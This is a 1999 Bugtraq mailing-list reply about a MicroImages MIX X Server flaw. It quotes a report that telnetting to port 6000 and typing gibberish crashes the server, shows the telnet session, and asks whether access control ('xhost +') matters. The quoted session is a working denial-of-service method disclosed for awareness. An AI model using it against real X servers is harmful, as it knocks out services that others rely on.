[12155] in bugtraq
Re: MicroImages MIX X Server
daemon@ATHENA.MIT.EDU (Jim Frost)
Wed Oct 6 17:07:23 1999
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Date: Tue, 5 Oct 1999 18:23:22 +0000
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From: Jim Frost <jimf@ATG.COM>
X-To: Jan Szumiec <jszumiec@PROMAIL.PL>
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Jan Szumiec wrote:
> I don't know whether anyone wrote about this, so here it goes.
>
> It is possible to bring down the XServer remotely ...
>
> $ telnet 192.168.1.2 6000
> Connected to 192.168.1.2
> Escape character is ^[
> djkfhgjksdhgjklhgjklsdhgjklehrslhgsd
> Connection closed by remote host.
> $
>
> Basically telneting into port 6000 of the server and typing in random
> gibberish, brings it down.
Is the server xhost + or not? Might make a difference.
jim
